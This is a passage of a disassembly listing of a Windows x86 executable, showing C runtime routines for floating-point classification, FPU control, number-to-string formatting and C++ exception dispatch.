ebx fstp [ebp+var_C] jmp short loc_412F32 ; --------------------------------------------------------------------------- loc_412EDE: ; CODE XREF: sub_412D59+17Aj fld [ebp+var_C] fcomp dbl_41A440 fnstsw ax sahf jnb short loc_412EF0 mov edx, ebx jmp short loc_412EF2 ; --------------------------------------------------------------------------- loc_412EF0: ; CODE XREF: sub_412D59+191j xor edx, edx loc_412EF2: ; CODE XREF: sub_412D59+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_412F26 sub eax, ecx loc_412F09: ; CODE XREF: sub_412D59+1CBj test byte ptr [ebp+var_C], bl jz short loc_412F14 test esi, esi jnz short loc_412F14 mov esi, ebx loc_412F14: ; CODE XREF: sub_412D59+1B3j ; sub_412D59+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_412F20 or byte ptr [ebp+var_C+3], 80h loc_412F20: ; CODE XREF: sub_412D59+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_412F09 loc_412F26: ; CODE XREF: sub_412D59+1ACj test edx, edx jz short loc_412F32 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_412F32: ; CODE XREF: sub_412D59+183j ; sub_412D59+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_412F3E ; --------------------------------------------------------------------------- loc_412F3C: ; CODE XREF: sub_412D59+14Ej mov esi, ebx loc_412F3E: ; CODE XREF: sub_412D59+1E1j test esi, esi pop esi jz short loc_412F4B push 10h call sub_413206 pop ecx loc_412F4B: ; CODE XREF: sub_412D59+1E8j and edi, 0FFFFFFFDh loc_412F4E: ; CODE XREF: sub_412D59+26j ; sub_412D59+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_412F65 test byte ptr [ebp+arg_8], 20h jz short loc_412F65 push 20h call sub_413206 pop ecx and edi, 0FFFFFFEFh loc_412F65: ; CODE XREF: sub_412D59+1F9j ; sub_412D59+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_412D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_412F70(int,int,int,int,int,int,double,int) sub_412F70 proc near ; CODE XREF: sub_4129BB+2Bp ; sub_412A0E+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41301E test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_412FDB mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4131E3 lea eax, [ebp+var_20] push eax call sub_416B17 add esp, 0Ch test eax, eax jnz short loc_412FD5 push esi call sub_412FF8 pop ecx loc_412FD5: ; CODE XREF: sub_412F70+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_412FDB: ; CODE XREF: sub_412F70+14j push 0FFFFh push [ebp+arg_20] call sub_4131E3 push [ebp+arg_0] call sub_412FF8 fld [ebp+arg_18] add esp, 0Ch leave retn sub_412F70 endp ; =============== S U B R O U T I N E ======================================= sub_412FF8 proc near ; CODE XREF: sub_412A0E+7Dp ; sub_412F70+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_413013 jle short locret_41301D cmp eax, 3 jg short locret_41301D mov dword_4BA284, 22h retn ; --------------------------------------------------------------------------- loc_413013: ; CODE XREF: sub_412FF8+7j mov dword_4BA284, 21h locret_41301D: ; CODE XREF: sub_412FF8+9j ; sub_412FF8+Ej retn sub_412FF8 endp ; =============== S U B R O U T I N E ======================================= sub_41301E proc near ; CODE XREF: sub_412F70+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_4240D0 loc_413025: ; CODE XREF: sub_41301E+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41303B add eax, 8 inc ecx cmp eax, offset dbl_4241A8 jl short loc_413025 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41303B: ; CODE XREF: sub_41301E+Dj mov eax, off_4240D4[ecx*8] retn sub_41301E endp ; =============== S U B R O U T I N E ======================================= sub_413043 proc near ; CODE XREF: sub_412A0E+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41304F push 5 jmp short loc_413065 ; --------------------------------------------------------------------------- loc_41304F: ; CODE XREF: sub_413043+6j test al, 8 jz short loc_413057 push 1 jmp short loc_413065 ; --------------------------------------------------------------------------- loc_413057: ; CODE XREF: sub_413043+Ej test al, 4 jz short loc_41305F push 2 jmp short loc_413065 ; --------------------------------------------------------------------------- loc_41305F: ; CODE XREF: sub_413043+16j test al, 1 jz short loc_413067 push 3 loc_413065: ; CODE XREF: sub_413043+Aj ; sub_413043+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_413067: ; CODE XREF: sub_413043+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_413043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_413070(double) sub_413070 proc near ; CODE XREF: sub_40EE62:loc_40EEE8p ; sub_40EFAB:loc_40F031p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_413070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_413082(double,int) sub_413082 proc near ; CODE XREF: sub_413105+82p ; sub_413105+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_413082 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4130AB proc near ; CODE XREF: sub_40EE62+31p ; sub_40EFAB+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4130C2 cmp [ebp+arg_0], edx jnz short loc_4130D4 push 1 jmp short loc_4130FE ; --------------------------------------------------------------------------- loc_4130C2: ; CODE XREF: sub_4130AB+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4130D4 cmp [ebp+arg_0], edx jnz short loc_4130D4 push 2 jmp short loc_4130FE ; --------------------------------------------------------------------------- loc_4130D4: ; CODE XREF: sub_4130AB+11j ; sub_4130AB+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4130E7 push 3 jmp short loc_4130FE ; --------------------------------------------------------------------------- loc_4130E7: ; CODE XREF: sub_4130AB+36j cmp cx, 7FF0h jnz short loc_413101 test [ebp+arg_4], 7FFFFh jnz short loc_4130FC cmp [ebp+arg_0], edx jz short loc_413101 loc_4130FC: ; CODE XREF: sub_4130AB+4Aj push 4 loc_4130FE: ; CODE XREF: sub_4130AB+15j ; sub_4130AB+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_413101: ; CODE XREF: sub_4130AB+41j ; sub_4130AB+4Fj xor eax, eax pop ebp retn sub_4130AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_413105(double,int) sub_413105 proc near ; CODE XREF: sub_412D59+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_41A440 push esi fnstsw ax sahf jnz short loc_413125 fldz xor esi, esi fstp [ebp+var_8] jmp loc_4131BB ; --------------------------------------------------------------------------- loc_413125: ; CODE XREF: sub_413105+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_413194 test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41313D cmp dword ptr [ebp+arg_0], ecx jz short loc_413194 loc_41313D: ; CODE XREF: sub_413105+31j fld [ebp+arg_0] fcomp dbl_41A440 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_413155 push 1 pop eax jmp short loc_413157 ; --------------------------------------------------------------------------- loc_413155: ; CODE XREF: sub_413105+49j xor eax, eax loc_413157: ; CODE XREF: sub_413105+4Ej ; sub_413105+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_413170 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41316A or dword ptr [ebp+arg_0+4], 1 loc_41316A: ; CODE XREF: sub_413105+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_413157 ; --------------------------------------------------------------------------- loc_413170: ; CODE XREF: sub_413105+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41317E or byte ptr [ebp+arg_0+7], 80h loc_41317E: ; CODE XREF: sub_413105+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_413082 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4131BB ; --------------------------------------------------------------------------- loc_413194: ; CODE XREF: sub_413105+28j ; sub_413105+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_413082 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4131BB: ; CODE XREF: sub_413105+1Bj ; sub_413105+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_413105 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131C6 proc near ; CODE XREF: sub_412AA6+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4131C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131D4 proc near ; CODE XREF: sub_412AA6+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4131D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131E3 proc near ; CODE XREF: sub_40EE62+13p ; sub_40EE62+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4131E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413206 proc near ; CODE XREF: sub_412D59+1Dp ; sub_412D59+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41321D fld tbyte_4241D0 fistp [ebp+arg_0] wait loc_41321D: ; CODE XREF: sub_413206+Bj test cl, 8 jz short loc_413232 fstsw ax fld tbyte_4241D0 fstp [ebp+var_8] wait fstsw ax loc_413232: ; CODE XREF: sub_413206+1Aj test cl, 10h jz short loc_413241 fld tbyte_4241DC fstp [ebp+var_8] wait loc_413241: ; CODE XREF: sub_413206+2Fj test cl, 4 jz short loc_41324F fldz fld1 fdivrp st(1), st fstp st wait loc_41324F: ; CODE XREF: sub_413206+3Ej test cl, 20h jz short locret_41325A fldpi fstp [ebp+var_8] wait locret_41325A: ; CODE XREF: sub_413206+4Cj leave retn sub_413206 endp ; =============== S U B R O U T I N E ======================================= sub_41325C proc near ; CODE XREF: sub_40EF31+Fp push 30000h push 10000h call sub_416B4F pop ecx pop ecx retn sub_41325C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41326E proc near ; CODE XREF: sub_4132AC:loc_4132D0j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_41A450 fstp [ebp+var_8] fld dbl_41A448 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_41A2D0 fnstsw ax sahf jbe short loc_4132A8 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4132A8: ; CODE XREF: sub_41326E+33j xor eax, eax leave retn sub_41326E endp ; =============== S U B R O U T I N E ======================================= sub_4132AC proc near ; CODE XREF: sub_40EF31+5p push offset aKernel32 ; "KERNEL32" call dword_41A0A4 ; GetModuleHandleA test eax, eax jz short loc_4132D0 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_41A0A0 ; GetProcAddress test eax, eax jz short loc_4132D0 push 0 call eax ; sub_40EF31 retn ; --------------------------------------------------------------------------- loc_4132D0: ; CODE XREF: sub_4132AC+Dj ; sub_4132AC+1Dj jmp sub_41326E sub_4132AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4132D5 proc near ; CODE XREF: sub_410DB0+3CBp ; DATA XREF: sub_40EF49+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_410320 cmp eax, 65h pop ecx jz short loc_413315 loc_4132E9: ; CODE XREF: sub_4132D5+3Ej inc esi cmp dword_424430, 1 jle short loc_413302 movsx eax, byte ptr [esi] push 4 push eax call sub_414E86 pop ecx pop ecx jmp short loc_413311 ; --------------------------------------------------------------------------- loc_413302: ; CODE XREF: sub_4132D5+1Cj movsx eax, byte ptr [esi] mov ecx, off_424224 mov al, [ecx+eax*2] and eax, 4 loc_413311: ; CODE XREF: sub_4132D5+2Bj test eax, eax jnz short loc_4132E9 loc_413315: ; CODE XREF: sub_4132D5+12j mov cl, byte_424434 mov al, [esi] mov [esi], cl inc esi loc_413320: ; CODE XREF: sub_4132D5+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_413320 pop esi retn sub_4132D5 endp ; =============== S U B R O U T I N E ======================================= sub_41332F proc near ; CODE XREF: sub_410DB0+3E2p ; DATA XREF: sub_40EF49+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_424434 mov cl, [eax] test cl, cl jz short loc_41334B loc_41333F: ; CODE XREF: sub_41332F+1Aj cmp cl, dl jz short loc_41334B mov cl, [eax+1] inc eax test cl, cl jnz short loc_41333F loc_41334B: ; CODE XREF: sub_41332F+Ej ; sub_41332F+12j mov cl, [eax] inc eax test cl, cl jz short locret_41337C loc_413352: ; CODE XREF: sub_41332F+34j mov cl, [eax] test cl, cl jz short loc_413365 cmp cl, 65h jz short loc_413365 cmp cl, 45h jz short loc_413365 inc eax jmp short loc_413352 ; --------------------------------------------------------------------------- loc_413365: ; CODE XREF: sub_41332F+27j ; sub_41332F+2Cj ... mov ecx, eax loc_413367: ; CODE XREF: sub_41332F+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_413367 cmp [eax], dl jnz short loc_413372 dec eax loc_413372: ; CODE XREF: sub_41332F+40j ; sub_41332F+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_413372 locret_41337C: ; CODE XREF: sub_41332F+21j retn sub_41332F endp ; =============== S U B R O U T I N E ======================================= sub_41337D proc near ; DATA XREF: sub_40EF49+28o ; .packed:off_4241F8o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_41A440 fnstsw ax sahf jb short loc_413392 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_413392: ; CODE XREF: sub_41337D+Fj xor eax, eax retn sub_41337D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413395 proc near ; CODE XREF: sub_414309+430p ; DATA XREF: sub_40EF49+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4133BE lea eax, [ebp+var_8] push eax call sub_417012 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4133BE: ; CODE XREF: sub_413395+Cj lea eax, [ebp+arg_8] push eax call sub_41703F mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_413395 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4133D3 proc near ; CODE XREF: sub_413650+17p ; sub_41369A+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4BA2EC, 0 push ebx push esi jz short loc_413408 mov ebx, [ebp+arg_8] mov eax, dword_4BA2E8 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_4136EB pop ecx pop ecx jmp short loc_413440 ; --------------------------------------------------------------------------- loc_413408: ; CODE XREF: sub_4133D3+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4170E3 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_41706C add esp, 14h loc_413440: ; CODE XREF: sub_4133D3+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41344C mov byte ptr [eax], 2Dh inc eax loc_41344C: ; CODE XREF: sub_4133D3+73j test ebx, ebx jle short loc_413464 mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_424434 mov eax, edi pop edi mov [eax], cl loc_413464: ; CODE XREF: sub_4133D3+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4BA2EC, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_40ED20 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41348B mov byte ptr [ecx], 45h loc_41348B: ; CODE XREF: sub_4133D3+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_4134D0 mov ebx, [esi+4] dec ebx jns short loc_41349F neg ebx mov byte ptr [ecx], 2Dh loc_41349F: ; CODE XREF: sub_4133D3+C5j inc ecx cmp ebx, 64h jl short loc_4134B6 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4134B6: ; CODE XREF: sub_4133D3+D0j inc ecx cmp ebx, 0Ah jl short loc_4134CD mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4134CD: ; CODE XREF: sub_4133D3+E7j add [ecx+1], bl loc_4134D0: ; CODE XREF: sub_4133D3+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4133D3 endp ; =============== S U B R O U T I N E ======================================= sub_4134D7 proc near ; CODE XREF: sub_413677+13p ; sub_41369A+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4BA2EC, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_413512 mov eax, dword_4BA2F0 mov ebx, [esp+10h+arg_8] mov esi, dword_4BA2E8 cmp eax, ebx jnz short loc_413542 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_413542 ; --------------------------------------------------------------------------- loc_413512: ; CODE XREF: sub_4134D7+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4170E3 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_41706C add esp, 14h loc_413542: ; CODE XREF: sub_4134D7+22j ; sub_4134D7+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_413550 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_413550: ; CODE XREF: sub_4134D7+70j mov eax, [esi+4] test eax, eax jg short loc_413567 push 1 push edi call sub_4136EB pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_413569 ; --------------------------------------------------------------------------- loc_413567: ; CODE XREF: sub_4134D7+7Ej add edi, eax loc_413569: ; CODE XREF: sub_4134D7+8Ej test ebx, ebx jle short loc_4135AE push 1 push edi call sub_4136EB mov al, byte_424434 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_4135AE cmp byte_4BA2EC, 0 jz short loc_413593 neg esi jmp short loc_413599 ; --------------------------------------------------------------------------- loc_413593: ; CODE XREF: sub_4134D7+B6j neg esi cmp ebx, esi jl short loc_41359B loc_413599: ; CODE XREF: sub_4134D7+BAj mov ebx, esi loc_41359B: ; CODE XREF: sub_4134D7+C0j push ebx push edi call sub_4136EB push ebx push 30h push edi call sub_40E800 add esp, 14h loc_4135AE: ; CODE XREF: sub_4134D7+94j ; sub_4134D7+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_4134D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4135B5 proc near ; CODE XREF: sub_41369A+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4170E3 mov dword_4BA2E8, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4BA2F0, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_41706C mov eax, dword_4BA2E8 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4BA2F0, ecx setl cl mov byte_4BA2F4, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4BA2F0, eax jl short loc_41363B cmp eax, ebx jge short loc_41363B test cl, cl jz short loc_41362C loc_413622: ; CODE XREF: sub_4135B5+72j mov al, [esi] inc esi test al, al jnz short loc_413622 and [esi-2], al loc_41362C: ; CODE XREF: sub_4135B5+6Bj push ebx push [ebp+arg_4] push edi call sub_413677 add esp, 0Ch jmp short loc_41364B ; --------------------------------------------------------------------------- loc_41363B: ; CODE XREF: sub_4135B5+63j ; sub_4135B5+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_413650 add esp, 10h loc_41364B: ; CODE XREF: sub_4135B5+84j pop edi pop esi pop ebx pop ebp retn sub_4135B5 endp ; =============== S U B R O U T I N E ======================================= sub_413650 proc near ; CODE XREF: sub_4135B5+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4BA2EC, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4133D3 and byte_4BA2EC, 0 add esp, 10h retn sub_413650 endp ; =============== S U B R O U T I N E ======================================= sub_413677 proc near ; CODE XREF: sub_4135B5+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4BA2EC, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4134D7 and byte_4BA2EC, 0 add esp, 0Ch retn sub_413677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41369A proc near ; CODE XREF: sub_410DB0+3AAp ; DATA XREF: sub_40EF49o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_4136D5 cmp [ebp+arg_8], 45h jz short loc_4136D5 cmp [ebp+arg_8], 66h jnz short loc_4136C2 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4134D7 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_4136C2: ; CODE XREF: sub_41369A+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4135B5 jmp short loc_4136E6 ; --------------------------------------------------------------------------- loc_4136D5: ; CODE XREF: sub_41369A+7j ; sub_41369A+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4133D3 loc_4136E6: ; CODE XREF: sub_41369A+39j add esp, 10h pop ebp retn sub_41369A endp ; =============== S U B R O U T I N E ======================================= sub_4136EB proc near ; CODE XREF: sub_4133D3+2Cp ; sub_4134D7+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41370E push esi mov esi, [esp+8+arg_0] push esi call sub_40E730 inc eax push eax push esi add esi, edi push esi call sub_40F480 add esp, 10h pop esi loc_41370E: ; CODE XREF: sub_4136EB+7j pop edi retn sub_4136EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413710 proc near ; CODE XREF: .packed:0040F12Cp ; sub_40F195+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_413726 call sub_413FB2 loc_413726: ; CODE XREF: sub_413710+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41374E cmp dword ptr [esi+4], 0 jz short loc_4137A4 cmp [ebp+arg_14], 0 jnz short loc_4137A4 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_413A57 add esp, 10h jmp short loc_4137A4 ; --------------------------------------------------------------------------- loc_41374E: ; CODE XREF: sub_413710+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_4137A4 cmp dword ptr [eax], 0E06D7363h jnz short loc_413788 cmp [eax+14h], edi jbe short loc_413788 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_413788 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_4137A7 ; --------------------------------------------------------------------------- loc_413788: ; CODE XREF: sub_413710+4Aj ; sub_413710+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_4137AB add esp, 20h loc_4137A4: ; CODE XREF: sub_413710+23j ; sub_413710+29j ... push 1 pop eax loc_4137A7: ; CODE XREF: sub_413710+76j pop edi pop esi pop ebp retn sub_413710 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4137AB proc near ; CODE XREF: sub_413710+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_4137CB mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_4137D0 loc_4137CB: ; CODE XREF: sub_4137AB+16j call sub_413FB2 loc_4137D0: ; CODE XREF: sub_4137AB+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_413927 cmp dword ptr [esi+10h], 3 jnz short loc_413844 cmp [esi+14h], edi jnz short loc_413844 cmp dword ptr [esi+1Ch], 0 jnz short loc_413844 mov esi, dword_4BA2F8 test esi, esi 